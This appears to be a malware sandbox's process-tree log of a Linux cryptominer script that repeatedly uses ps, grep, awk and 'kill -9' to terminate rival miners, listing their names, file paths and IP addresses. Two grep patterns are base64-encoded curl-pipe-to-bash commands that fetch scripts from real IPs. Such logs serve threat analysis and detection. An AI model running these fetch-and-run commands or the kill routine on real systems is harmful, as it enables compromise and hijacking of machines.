/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1043
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1042
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1041
-
-
/bin/grepgrep -v grep2⤵PID:1040
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1039
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1049
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1048
-
-
/bin/grepgrep zXcDajSs2⤵PID:1047
-
-
/bin/grepgrep -v grep2⤵PID:1046
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1045
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1056
-
-
/bin/grepgrep 3lmigMo2⤵PID:1055
-
-
/bin/grepgrep -v grep2⤵PID:1054
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1053
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1057
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1063
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1062
-
-
/bin/grepgrep AkMK4A22⤵PID:1061
-
-
/bin/grepgrep -v grep2⤵PID:1060
-
-
/bin/psps aux2⤵PID:1059
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1071
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1070
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1069
-
-
/bin/grepgrep -v grep2⤵PID:1068
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1067
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1079
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1078
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1077
-
-
/bin/grepgrep -v grep2⤵PID:1076
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1075
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1086
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1085
-
-
/bin/grepgrep http_0xCC0302⤵PID:1084
-
-
/bin/grepgrep -v grep2⤵PID:1083
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1082
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1091
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1090
-
-
/bin/grepgrep http_0xCC0312⤵PID:1089
-
-
/bin/grepgrep -v grep2⤵PID:1088
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1087
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1099
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1098
-
-
/bin/grepgrep http_0xCC0322⤵PID:1097
-
-
/bin/grepgrep -v grep2⤵PID:1096
-
-
/bin/psps aux2⤵PID:1095
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1103
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1104
-
-
/bin/grepgrep http_0xCC0332⤵PID:1102
-
-
/bin/grepgrep -v grep2⤵PID:1101
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1100
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1110
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1109
-
-
/bin/grepgrep C4iLM4L2⤵PID:1108
-
-
/bin/grepgrep -v grep2⤵PID:1107
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1106
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1116
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1115
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1114
-
-
/bin/grepgrep -v grep2⤵PID:1113
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1112
-
-
/bin/grepgrep -v grep2⤵PID:1118
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1120
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1117
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1119
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1124
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1123
-
-
/bin/grepgrep -v grep2⤵PID:1122
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1121
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1125
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1130
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1129
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1128
-
-
/bin/grepgrep -v grep2⤵PID:1127
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1126
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1135
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1134
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1133
-
-
/bin/grepgrep -v grep2⤵PID:1132
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1131
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1140
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1139
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1138
-
-
/bin/grepgrep -v grep2⤵PID:1137
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1136
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1145
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1144
-
-
/bin/grepgrep nqscheduler2⤵PID:1143
-
-
/bin/grepgrep -v grep2⤵PID:1142
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1141
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1150
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1149
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1148
-
-
/bin/grepgrep -v grep2⤵PID:1147
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1146
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1155
-
-
/bin/grepgrep "]"2⤵PID:1154
-
-
/bin/grepgrep -v aux2⤵PID:1153
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1156
-
-
/bin/grepgrep -v grep2⤵PID:1152
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1151
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1159
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1160
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1161
-
-
/bin/grepgrep -v grep2⤵PID:1158
-
-
/bin/psps aux2⤵PID:1157
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1166
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1165
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1164
-
-
/bin/grepgrep -v grep2⤵PID:1163
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1162
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1171
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1170
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1169
-
-
/bin/grepgrep -v grep2⤵PID:1168
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1167
-
-
/bin/grepgrep -v _2⤵PID:1176
-
-
/bin/grepgrep -v /2⤵PID:1174
-
-
/bin/grepgrep -v -2⤵PID:1175
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1178
-
-
/bin/grepgrep -v grep2⤵PID:1173
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1177
-
-
/bin/psps aux2⤵PID:1172
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1183
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1182
-
-
/bin/grepgrep -v grep2⤵PID:1180
-
-
/bin/grepgrep "\\[^"2⤵PID:1181
-
-
/bin/psps aux2⤵PID:1179
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1188
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1187
-
-
/bin/grepgrep rsync2⤵PID:1186
-
-
/bin/grepgrep -v grep2⤵PID:1185
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1184
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1193
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1192
-
-
/bin/grepgrep watchd0g2⤵PID:1191
-
-
/bin/grepgrep -v grep2⤵PID:1190
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1189
-
-
/bin/grepgrep -v grep2⤵PID:1195
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1194
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1197
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1198
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1196
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1196
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1196
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1196
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1196
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1196
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1196
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1203
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1202
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:1201
-
-
/bin/grepgrep -v grep2⤵PID:1200
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1199
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1208
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1207
-
-
/bin/grepgrep /tmp/java2⤵PID:1206
-
-
/bin/grepgrep -v grep2⤵PID:1205
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1204
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1213
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1212
-
-
/bin/grepgrep gitee.com2⤵PID:1211
-
-
/bin/grepgrep -v grep2⤵PID:1210
-
-
/bin/psps aux2⤵PID:1209
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1218
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1217
-
-
/bin/grepgrep /tmp/java2⤵PID:1216
-
-
/bin/grepgrep -v grep2⤵PID:1215
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1214
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1223
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1222
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1221
-
-
/bin/grepgrep -v grep2⤵PID:1220
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1219
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1228
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1227
-
-
/bin/grepgrep 89.35.39.782⤵PID:1226
-
-
/bin/grepgrep -v grep2⤵PID:1225
-
-
/bin/psps aux2⤵PID:1224
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1233
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1232
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1231
-
-
/bin/grepgrep -v grep2⤵PID:1230
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1238
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1237
-
-
/bin/grepgrep kthrotlds2⤵PID:1236
-
-
/bin/grepgrep -v grep2⤵PID:1235
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1234
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1243
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1242
-
-
/bin/grepgrep ksoftirqds2⤵PID:1241
-
-
/bin/grepgrep -v grep2⤵PID:1240
-
-
/bin/psps aux2⤵PID:1239
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1248
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1247
-
-
/bin/grepgrep netdns2⤵PID:1246
-
-
/bin/grepgrep -v grep2⤵PID:1245
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1244
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1253
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1252
-
-
/bin/grepgrep watchdogs2⤵PID:1251
-
-
/bin/grepgrep -v grep2⤵PID:1250
-
-
/bin/psps aux2⤵PID:1249
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1257
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1256
-
-
/bin/grepgrep -v grep2⤵PID:1255
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1254
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1258
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1263
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1262
-
-
/bin/grepgrep kinsing2⤵PID:1261
-
-
/bin/grepgrep -v grep2⤵PID:1260
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1259
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1270
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1269
-
-
/bin/grepgrep redis22⤵PID:1268
-
-
/bin/grepgrep -v grep2⤵PID:1267
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1266
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1276
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1275
-
-
/bin/grepgrep " ps"2⤵PID:1274
-
-
/bin/grepgrep -v aux2⤵PID:1273
-
-
/bin/grepgrep -v grep2⤵PID:1272
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1271
-
-
/bin/grepgrep sync_supers2⤵PID:1281
-
-
/bin/grepgrep -v grep2⤵PID:1280
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1279
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1283
-
-
/usr/bin/cutcut -c 9-152⤵PID:1282
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1290
-
-
/usr/bin/cutcut -c 9-152⤵PID:1289
-
-
/bin/grepgrep cpuset2⤵PID:1288
-
-
/bin/grepgrep -v grep2⤵PID:1287
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1286
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1297
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1296
-
-
/bin/grepgrep "x]"2⤵PID:1295
-
-
/bin/grepgrep -v aux2⤵PID:1294
-
-
/bin/grepgrep -v grep2⤵PID:1293
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1292
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1304
-
-
/bin/grepgrep -v aux2⤵PID:1302
-
-
/bin/grepgrep -v grep2⤵PID:1301
-
-
/bin/psps aux2⤵PID:1300
-
-
/bin/grepgrep "sh] <"2⤵PID:1303
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1305
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1311
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1306
-
-
/bin/grepgrep -v aux2⤵PID:1308
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1310
-
-
/bin/grepgrep -v grep2⤵PID:1307
-
-
/bin/grepgrep " \\[]"2⤵PID:1309
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1317
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1316
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1315
-
-
/bin/grepgrep -v grep2⤵PID:1314
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1313
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1324
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1323
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1322
-
-
/bin/grepgrep -v grep2⤵PID:1321
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1320
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1331
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1330
-
-
/bin/grepgrep hahwNEdB2⤵PID:1329
-
-
/bin/grepgrep -v grep2⤵PID:1328
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1327
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1337
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1336
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1335
-
-
/bin/grepgrep -v grep2⤵PID:1334
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1333
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1343
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1341
-
-
/bin/grepgrep -v grep2⤵PID:1340
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1339
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1342
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1350
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1349
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1348
-
-
/bin/grepgrep -v grep2⤵PID:1347
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1346
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1357
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1356
-
-
/bin/grepgrep -v grep2⤵PID:1354
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1355
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1353
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1363
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1362
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1361
-
-
/bin/grepgrep -v grep2⤵PID:1360
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1359
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1370
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1369
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1368
-
-
/bin/grepgrep -v grep2⤵PID:1367
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1366
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1376
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1375
-
-
/bin/grepgrep sustse2⤵PID:1374
-
-
/bin/grepgrep -v grep2⤵PID:1373
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1372
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1383
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1382
-
-
/bin/grepgrep sustse32⤵PID:1381
-
-
/bin/grepgrep -v grep2⤵PID:1380
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1379
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1391
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1390
-
-
/bin/grepgrep wget2⤵PID:1389
-
-
/bin/grepgrep mr.sh2⤵PID:1388
-
-
/bin/grepgrep -v grep2⤵PID:1387
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1386
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1398
-
-
/bin/grepgrep curl2⤵PID:1396
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1397
-
-
/bin/grepgrep mr.sh2⤵PID:1395
-
-
/bin/grepgrep -v grep2⤵PID:1394
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1393
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1405
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1404
-
-
/bin/grepgrep wget2⤵PID:1403
-
-
/bin/grepgrep 2mr.sh2⤵PID:1402
-
-
/bin/grepgrep -v grep2⤵PID:1401
-
-
/bin/psps aux2⤵PID:1400
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1411
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1410
-
-
/bin/grepgrep curl2⤵PID:1409
-
-
/bin/grepgrep 2mr.sh2⤵PID:1408
-
-
/bin/grepgrep -v grep2⤵PID:1407
-
-
/bin/psps aux2⤵PID:1406
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1417
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1416
-
-
/bin/grepgrep wget2⤵PID:1415
-
-
/bin/grepgrep cr5.sh2⤵PID:1414
-
-
/bin/grepgrep -v grep2⤵PID:1413
-
-
/bin/psps aux2⤵PID:1412
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1423
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1422
-
-
/bin/grepgrep curl2⤵PID:1421
-
-
/bin/grepgrep cr5.sh2⤵PID:1420
-
-
/bin/grepgrep -v grep2⤵PID:1419
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1418
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1429
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1428
-
-
/bin/grepgrep wget2⤵PID:1427
-
-
/bin/grepgrep logo9.jpg2⤵PID:1426
-
-
/bin/grepgrep -v grep2⤵PID:1425
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1424
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1435
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1434
-
-
/bin/grepgrep curl2⤵PID:1433
-
-
/bin/grepgrep logo9.jpg2⤵PID:1432
-
-
/bin/grepgrep -v grep2⤵PID:1431
-
-
/bin/psps aux2⤵PID:1430
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1440
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1439
-
-
/bin/grepgrep j2.conf2⤵PID:1438
-
-
/bin/grepgrep -v grep2⤵PID:1437
-
-
/bin/psps aux2⤵PID:1436
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1446
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1445
-
-
/bin/grepgrep wget2⤵PID:1444
-
-
/bin/grepgrep luk-cpu2⤵PID:1443
-
-
/bin/grepgrep -v grep2⤵PID:1442
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1441
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1452
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1451
-
-
/bin/grepgrep curl2⤵PID:1450
-
-
/bin/grepgrep luk-cpu2⤵PID:1449
-
-
/bin/grepgrep -v grep2⤵PID:1448
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1447
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1458
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1457
-
-
/bin/grepgrep wget2⤵PID:1456
-
-
/bin/grepgrep ficov2⤵PID:1455
-
-
/bin/grepgrep -v grep2⤵PID:1454
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1453
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1464
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1463
-
-
/bin/grepgrep curl2⤵PID:1462
-
-
/bin/grepgrep ficov2⤵PID:1461
-
-
/bin/grepgrep -v grep2⤵PID:1460
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1459
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1470
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1469
-
-
/bin/grepgrep wget2⤵PID:1468
-
-
/bin/grepgrep he.sh2⤵PID:1467
-
-
/bin/grepgrep -v grep2⤵PID:1466
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1465
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1476
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1475
-
-
/bin/grepgrep curl2⤵PID:1474
-
-
/bin/grepgrep he.sh2⤵PID:1473
-
-
/bin/grepgrep -v grep2⤵PID:1472
-
-
/bin/psps aux2⤵
- Process Discovery
- Reads runtime system information
PID:1471
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1482
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1481
-
-
/bin/grepgrep wget2⤵PID:1480
-
-
/bin/grepgrep miner.sh2⤵PID:1479
-
-
/bin/grepgrep -v grep2⤵PID:1478
-
-
/bin/psps aux2⤵PID:1477
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1487
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1488
-
-
/bin/grepgrep curl2⤵PID:1486
-
-
/bin/grepgrep miner.sh2⤵PID:1485
-
-
/bin/grepgrep -v grep2⤵PID:1484
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1483
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1494
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1493
-
-
/bin/grepgrep wget2⤵PID:1492
-
-
/bin/grepgrep nullcrew2⤵PID:1491
-
-
/bin/grepgrep -v grep2⤵PID:1490
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1489
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1499
-
-
/bin/grepgrep curl2⤵PID:1498
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1500
-
-
/bin/grepgrep nullcrew2⤵PID:1497
-
-
/bin/grepgrep -v grep2⤵PID:1496
-
-
/bin/psps aux2⤵PID:1495
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1505
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1504
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1503
-
-
/bin/grepgrep -v grep2⤵PID:1502
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1501
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1510
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1509
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1508
-
-
/bin/grepgrep -v grep2⤵PID:1507
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1506
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1515
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1514
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1513
-
-
/bin/grepgrep -v grep2⤵PID:1512
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1511
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1519
-
-
/bin/grepgrep 144.217.45.452⤵PID:1518
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1520
-
-
/bin/grepgrep -v grep2⤵PID:1517
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:1516
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1525
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1524
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1523
-
-
/bin/grepgrep -v grep2⤵PID:1522
-
-
/bin/psps aux2⤵PID:1521
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1530
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1529
-
-
/bin/grepgrep 176.31.6.162⤵PID:1528
-
-
